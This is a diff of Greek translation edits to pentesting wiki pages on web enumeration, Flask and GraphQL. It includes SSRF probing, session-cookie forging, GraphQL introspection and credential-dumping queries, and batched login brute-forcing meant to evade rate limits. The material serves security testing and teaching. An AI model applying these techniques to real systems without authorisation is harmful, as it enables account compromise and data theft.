 - [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτώσετε τη σελίδα.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτωθεί η σελίδα.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές των προηγούμενων εργαλείων.
 - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε δρόμους και παραμέτρους σε αρχεία JS.
 - [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified κώδικα JS.
 - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη wayback και αναζητώντας περισσότερους συνδέσμους).
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους).
 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμη και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες κανονικές εκφράσεις.
 - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφερόντων δεδομένων από τον πηγαίο κώδικα JavaScript.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript.
 - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση.
 - [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό.
 - [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε σύνδεσμο που μπορεί να βρει.
@@ -264,14 +264,14 @@ sslyze --regular <ip:port>
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._
+_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να υποβληθεί σε Brute-Force._
 
 ### Τι να ελέγξετε σε κάθε αρχείο που βρέθηκε
 
 - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε σπασμένους συνδέσμους μέσα σε HTML που μπορεί να είναι επιρρεπείς σε καταλήψεις.
 - **Αντίγραφα αρχείων**: Μόλις βρείτε όλα τα αρχεία, αναζητήστε αντίγραφα όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές για την ονομασία ενός αντιγράφου είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 - **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο αρχείο web.
-- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
+- _Arjun όλες οι προεπιλεγμένες λίστες λέξεων:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
@@ -279,7 +279,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
 - Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύβετε** **πληροφορίες** μέσα σε σχόλια στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **κενά** ώστε να μην βλέπετε τα δεδομένα αν ανοίξετε τον πηγαίο κώδικα με τον browser). Μια άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορίες** σε ένα σχόλιο στο **κάτω μέρος** της ιστοσελίδας.
 - **API keys**: Αν **βρείτε οποιοδήποτε API key** υπάρχει οδηγός που υποδεικνύει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
 - Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το έργο [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες APIs μπορεί να έχει πρόσβαση το key.
-- **S3 Buckets**: Κατά τη διάρκεια του spidering ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοσδήποτε **σύνδεσμος** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/).
+- **S3 Buckets**: Κατά τη διάρκεια του spidering ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοσδήποτε **σύνδεσμος** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/index.html).
 
 ### Ειδικές ανακαλύψεις
 
@@ -289,16 +289,16 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
 
 - Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία.
 - [Αν βρείτε ένα _**.git**_ αρχείο μπορεί να εξαχθεί κάποια πληροφορία](git.md).
-- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς db και άλλες πληροφορίες μπορεί να βρεθούν.
+- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς βάσεων δεδομένων και άλλες πληροφορίες μπορεί να βρεθούν.
 - Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά.
 - **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν δρόμους από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
-- Πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
+- Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
 - **JsFuck deobfuscation** (javascript με χαρακτήρες:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
 - Σε πολλές περιπτώσεις, θα χρειαστεί να **κατανοήσετε τις κανονικές εκφράσεις** που χρησιμοποιούνται. Αυτό θα είναι χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex).
-- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια πιθανή νέα ευάλωτη λειτουργία.
+- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια πιθανή νέα ευάλωτη λειτουργικότητα.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -308,7 +308,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
 
 **502 Proxy Error**
 
-Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, είναι πιθανό να είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **πρόσβαση** _**google.com**_ **και θα έχετε βρει μια** SSRF.
+Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, είναι πιθανό να είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **προσεγγίσει** _**google.com**_ **και θα έχετε βρει μια** SSRF.
 
 **NTLM Authentication - Info disclosure**
 
@@ -322,7 +322,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
 
 ### Έλεγχος ευπαθειών Web
 
-Τώρα που έχει γίνει μια εκτενής αρίθμηση της web εφαρμογής, είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ:
+Τώρα που έχει πραγματοποιηθεί μια εκτενής αρίθμηση της web εφαρμογής, είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ:
 
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md

src/network-services-pentesting/pentesting-web/flask.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Πιθανώς αν παίζετε ένα CTF, μια εφαρμογή Flask θα σχετίζεται με** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
+**Πιθανώς αν παίζετε ένα CTF, μια εφαρμογή Flask θα σχετίζεται με** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
 
 ## Cookies
 
@@ -48,7 +48,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
 ```
 ### **RIPsession**
 
-Εργαλείο γραμμής εντολών για brute-force ιστοσελίδων χρησιμοποιώντας cookies που έχουν κατασκευαστεί με το flask-unsign.
+Εργαλείο γραμμής εντολών για brute-force ιστοσελίδων χρησιμοποιώντας cookies που έχουν κατασκευαστεί με flask-unsign.
 
 {{#ref}}
 https://github.com/Tagvi/ripsession

src/network-services-pentesting/pentesting-web/graphql.md

@@ -23,7 +23,7 @@
 - `/graphql/api`
 - `/graphql/graphql`
 
-Ο εντοπισμός ανοιχτών περιπτώσεων GraphQL επιτρέπει την εξέταση των υποστηριζόμενων ερωτημάτων. Αυτό είναι κρίσιμο για την κατανόηση των δεδομένων που είναι προσβάσιμα μέσω του endpoint. Το σύστημα εσωτερικής αναγνώρισης του GraphQL διευκολύνει αυτό, παρέχοντας λεπτομέρειες για τα ερωτήματα που υποστηρίζει ένα σχήμα. Για περισσότερες πληροφορίες σχετικά με αυτό, ανατρέξτε στην τεκμηρίωση του GraphQL σχετικά με την εσωτερική αναγνώριση: [**GraphQL: Μια γλώσσα ερωτήσεων για APIs.**](https://graphql.org/learn/introspection/)
+Ο εντοπισμός ανοιχτών περιπτώσεων GraphQL επιτρέπει την εξέταση των υποστηριζόμενων ερωτημάτων. Αυτό είναι κρίσιμο για την κατανόηση των δεδομένων που είναι προσβάσιμα μέσω του endpoint. Το σύστημα αυτογνωσίας του GraphQL διευκολύνει αυτό, παρέχοντας λεπτομέρειες για τα ερωτήματα που υποστηρίζει ένα σχήμα. Για περισσότερες πληροφορίες σχετικά με αυτό, ανατρέξτε στην τεκμηρίωση του GraphQL σχετικά με την αυτογνωσία: [**GraphQL: Μια γλώσσα ερωτήσεων για APIs.**](https://graphql.org/learn/introspection/)
 
 ### Δακτυλοσκοπία
 
@@ -31,7 +31,7 @@
 
 #### Καθολικά ερωτήματα <a href="#universal-queries" id="universal-queries"></a>
 
-Για να ελεγχθεί αν μια διεύθυνση URL είναι υπηρεσία GraphQL, μπορεί να σταλεί ένα **καθολικό ερώτημα**, `query{__typename}`. Εάν η απάντηση περιλαμβάνει `{"data": {"__typename": "Query"}}`, επιβεβαιώνει ότι η διεύθυνση URL φιλοξενεί ένα endpoint GraphQL. Αυτή η μέθοδος βασίζεται στο πεδίο `__typename` του GraphQL, το οποίο αποκαλύπτει τον τύπο του ερωτηθέντος αντικειμένου.
+Για να ελέγξετε αν μια διεύθυνση URL είναι υπηρεσία GraphQL, μπορεί να σταλεί ένα **καθολικό ερώτημα**, `query{__typename}`. Εάν η απάντηση περιλαμβάνει `{"data": {"__typename": "Query"}}`, επιβεβαιώνει ότι η διεύθυνση URL φιλοξενεί ένα endpoint GraphQL. Αυτή η μέθοδος βασίζεται στο πεδίο `__typename` του GraphQL, το οποίο αποκαλύπτει τον τύπο του ερωτηθέντος αντικειμένου.
 ```javascript
 query{__typename}
 ```
@@ -158,19 +158,19 @@ name
 }
 }
 ```
-Ερωτήση ενδοσκόπησης σε γραμμή:
+Ερωτήματα ενδοσκόπησης σε γραμμή:
 ```
 /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
 ```
-Η τελευταία γραμμή κώδικα είναι ένα graphql query που θα εξάγει όλες τις μετα-πληροφορίες από το graphql (ονόματα αντικειμένων, παραμέτρους, τύπους...)
+Η τελευταία γραμμή κώδικα είναι ένα graphql query που θα εκτυπώσει όλες τις μετα-πληροφορίες από το graphql (ονόματα αντικειμένων, παραμέτρους, τύπους...)
 
 ![](<../../images/image (363).png>)
 
 Αν η introspection είναι ενεργοποιημένη, μπορείτε να χρησιμοποιήσετε [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) για να δείτε σε μια GUI όλες τις επιλογές.
 
-### Ερωτήματα
+### Querying
 
-Τώρα που γνωρίζουμε ποιο είδος πληροφορίας αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**.
+Τώρα που γνωρίζουμε ποιο είδος πληροφορίας αποθηκεύεται μέσα στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**.
 
 Στην introspection μπορείτε να βρείτε **ποιο αντικείμενο μπορείτε να ρωτήσετε απευθείας** (διότι δεν μπορείτε να ρωτήσετε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "_queryType_" ονομάζεται "_Query_" και ότι ένα από τα πεδία του αντικειμένου "_Query_" είναι το "_flags_", το οποίο είναι επίσης ένας τύπος αντικειμένου. Επομένως, μπορείτε να ρωτήσετε το αντικείμενο flag.
 
@@ -202,7 +202,7 @@ query = { hiddenFlags }
 ![](<../../images/image (1042).png>)
 
 Φαίνεται ότι με κάποιο τρόπο θα αναζητήσει χρησιμοποιώντας το "_**uid**_" επιχείρημα τύπου _**Int**_.\
-Ούτως ή άλλως, ήδη γνωρίζαμε ότι, στην ενότητα [Basic Enumeration](graphql.md#basic-enumeration) προτάθηκε ένα ερώτημα που μας έδειχνε όλες τις απαραίτητες πληροφορίες: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
+Ούτως ή άλλως, το γνωρίζαμε ήδη, στην ενότητα [Basic Enumeration](graphql.md#basic-enumeration) προτάθηκε ένα ερώτημα που μας έδειχνε όλες τις απαραίτητες πληροφορίες: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
 
 Αν διαβάσετε την εικόνα που παρέχεται όταν εκτελώ αυτό το ερώτημα θα δείτε ότι το "_**user**_" είχε το **arg** "_**uid**_" τύπου _Int_.
 
@@ -211,15 +211,15 @@ query = { hiddenFlags }
 
 ![](<../../images/image (90).png>)
 
-Σημειώστε ότι **ανακάλυψα** ότι μπορούσα να ζητήσω για τις **παραμέτρους** "_**user**_" και "_**password**_" γιατί αν προσπαθήσω να αναζητήσω κάτι που δεν υπάρχει (`query={user(uid:1){noExists}}`) λαμβάνω αυτό το σφάλμα:
+Σημειώστε ότι **ανακάλυψα** ότι μπορούσα να ζητήσω τις **παραμέτρους** "_**user**_" και "_**password**_" γιατί αν προσπαθήσω να αναζητήσω κάτι που δεν υπάρχει (`query={user(uid:1){noExists}}`) λαμβάνω αυτό το σφάλμα:
 
 ![](<../../images/image (707).png>)
 
 Και κατά τη διάρκεια της **φάσης αρίθμησης** ανακάλυψα ότι το αντικείμενο "_**dbuser**_" είχε ως πεδία "_**user**_" και "_**password**_.
 
-**Τέχνασμα εξαγωγής συμβολοσειράς ερωτήματος (ευχαριστώ τον @BinaryShadow\_)**
+**Trick εξαγωγής συμβολοσειράς ερωτήματος (ευχαριστώ τον @BinaryShadow\_)**
 
-Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εξάγει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο String που ονομάζεται "**description**"_).
+Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εξάγει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο τύπου "**description**"_).
 
 ### Αναζήτηση
 
@@ -285,7 +285,7 @@ name
 
 **Οι μεταλλάξεις χρησιμοποιούνται για να γίνουν αλλαγές στην πλευρά του διακομιστή.**
 
-Στην **εξερεύνηση** μπορείτε να βρείτε τις **δηλωμένες** **μεταλλάξεις**. Στην παρακάτω εικόνα ο "_MutationType_" ονομάζεται "_Mutation_" και το αντικείμενο "_Mutation_" περιέχει τα ονόματα των μεταλλάξεων (όπως "_addPerson_" σε αυτή την περίπτωση):
+Στην **ανάλυση** μπορείτε να βρείτε τις **δηλωμένες** **μεταλλάξεις**. Στην παρακάτω εικόνα ο "_MutationType_" ονομάζεται "_Mutation_" και το αντικείμενο "_Mutation_" περιέχει τα ονόματα των μεταλλάξεων (όπως "_addPerson_" σε αυτή την περίπτωση):
 
 ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
 
@@ -302,9 +302,9 @@ rating
 }
 }
 ```
-**Σημειώστε πώς και οι δύο τιμές και ο τύπος δεδομένων υποδεικνύονται στο ερώτημα.**
+**Σημειώστε πώς και οι τιμές και ο τύπος των δεδομένων υποδεικνύονται στο ερώτημα.**
 
-Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **προσώπων** μαζί με τις συσχετίσεις τους με υπάρχοντες **φίλους** και **ταινίες**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν από τη σύνδεσή τους με το νεοδημιουργηθέν πρόσωπο.
+Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **προσώπων** μαζί με τις συσχετίσεις τους με υπάρχοντες **φίλους** και **ταινίες**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν συνδεθούν με το νεοδημιουργηθέν πρόσωπο.
 ```javascript
 mutation {
 addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@@ -336,30 +336,30 @@ releaseYear
 
 Όπως εξηγείται σε [**μία από τις ευπάθειες που περιγράφονται σε αυτή την αναφορά**](https://www.landh.tech/blog/20240304-google-hack-50000/), η υπερφόρτωση εντολών σημαίνει την κλήση μιας εντολής ακόμη και εκατομμύρια φορές για να αναγκαστεί ο διακομιστής να σπαταλήσει λειτουργίες μέχρι να είναι δυνατόν να γίνει DoS.
 
-### Batching brute-force σε 1 API request
+### Batching brute-force σε 1 API αίτημα
 
 Αυτή η πληροφορία προήλθε από [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
-Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλούν περισσότερα από ένα ζεύγος login/password ανά HTTP request λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς.
+Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλεί περισσότερα από ένα ζεύγος login/password ανά HTTP αίτημα λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς.
 
 Παρακάτω μπορείτε να βρείτε την απλούστερη επίδειξη ενός αιτήματος αυθεντικοποίησης εφαρμογής, με **3 διαφορετικά ζεύγη email/password ταυτόχρονα**. Προφανώς είναι δυνατό να σταλούν χιλιάδες σε ένα μόνο αίτημα με τον ίδιο τρόπο:
 
 ![](<../../images/image (1081).png>)
 
-Όπως μπορούμε να δούμε από το στιγμιότυπο οθόνης της απάντησης, τα πρώτα και τρίτα αιτήματα επέστρεψαν _null_ και αντανάκλασαν τις αντίστοιχες πληροφορίες στην ενότητα _error_. Η **δεύτερη μετάλλαξη είχε τα σωστά δεδομένα αυθεντικοποίησης** και η απάντηση έχει το σωστό διακριτικό συνεδρίας αυθεντικοποίησης.
+Όπως μπορούμε να δούμε από το στιγμιότυπο της απάντησης, τα πρώτα και τρίτα αιτήματα επέστρεψαν _null_ και αντανάκλασαν τις αντίστοιχες πληροφορίες στην ενότητα _error_. Τα **δεύτερη μετάλλαξη είχε τα σωστά δεδομένα αυθεντικοποίησης** και η απάντηση έχει το σωστό διακριτικό συνεδρίας αυθεντικοποίησης.
 
 ![](<../../images/image (119) (1).png>)
 
 ## GraphQL Χωρίς Introspection
 
-Όλο και περισσότερα **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.
+Όλο και περισσότεροι **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.
 
